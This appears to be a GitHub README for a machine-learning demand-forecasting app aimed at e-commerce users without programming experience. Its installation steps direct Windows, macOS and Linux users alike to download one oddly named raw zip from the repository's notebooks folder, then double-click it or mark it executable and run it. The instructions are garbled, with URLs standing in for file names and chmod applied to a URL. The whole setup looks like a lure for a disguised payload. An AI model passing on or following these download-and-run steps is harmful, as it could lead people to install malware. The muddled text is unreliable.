Welcome to the demand-forecasting-ml project! This software helps you predict product demand in e-commerce by using historical sales data. Our goal is to make forecasting easy for all users, even those without programming experience.
You can visit this page to download: GitHub Releases
Before you download, make sure your computer meets the following requirements:
- Operating System: Windows 10 or later, macOS, or recent version of Linux.
- Python Version: Python 3.6 or higher (We recommend version 3.8).
- RAM: At least 4 GB.
- Disk Space: Minimum of 1 GB available for installation and data storage.
To get started, follow these steps:
- Click on the download badge above or visit the GitHub Releases page.
- On the Releases page, find the latest version of the software.
- Look for the installation file named
https://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zipfor Windows orhttps://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zipfor macOS, or the equivalent file for Linux. - Click the file to begin your download.
- Once the download is complete, find the file
https://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zipin your downloads folder. - Double-click the installer file.
- Follow the prompts in the installation wizard to complete the setup.
- After installation, you can find the application in your Start Menu.
- After downloading, locate
https://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zipin your downloads. - Double-click to open the package.
- Follow the on-screen instructions to install the software.
- You will find the application in your Applications folder.
- Download the appropriate installer for your distribution.
- Open a terminal and navigate to your download folder.
- Use the command:
chmod +x https://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zipto make it executable. - Run the installer with
https://raw.githubusercontent.com/Davides234/demand-forecasting-ml/main/notebooks/demand_forecasting_ml_Beaufort.zip. - Follow the prompts to complete the installation.
Once installed, you can start using the application:
- Open the demand-forecasting-ml app.
- You will see a user-friendly interface.
- You can upload your historical sales data in CSV format.
- After uploading, click on the Forecast Demand button.
- The software will analyze your data and provide you with forecasts for upcoming periods.
- User-Friendly Interface: Simple design for easy navigation.
- Data Upload: Supports CSV files for importing your sales data.
- Forecasting: Uses advanced machine learning techniques to predict demand.
- Results Visualization: Displays forecasts in clear, understandable graphs.
Demand forecasting helps businesses understand future product needs, allowing them to stock effectively and avoid overstocking or stockouts. By analyzing past sales data, this application provides accurate predictions, which can lead to better planning and increased profitability.
If you encounter issues, try the following steps:
- Ensure that you have met all prerequisites mentioned above.
- Make sure the CSV file is formatted correctly. Each entry should have a date and sales amount.
- Restart the application if it does not respond.
If the problem persists, consider checking online forums or submitting an issue on our GitHub page.
We welcome contributions to improve the software. If you wish to help, please submit a pull request or contact us through our GitHub issues page.
Thank you for using demand-forecasting-ml. We appreciate your support and feedback. We hope this tool helps you successfully manage your e-commerce business.
For the latest updates, features, and support, visit our GitHub Releases page.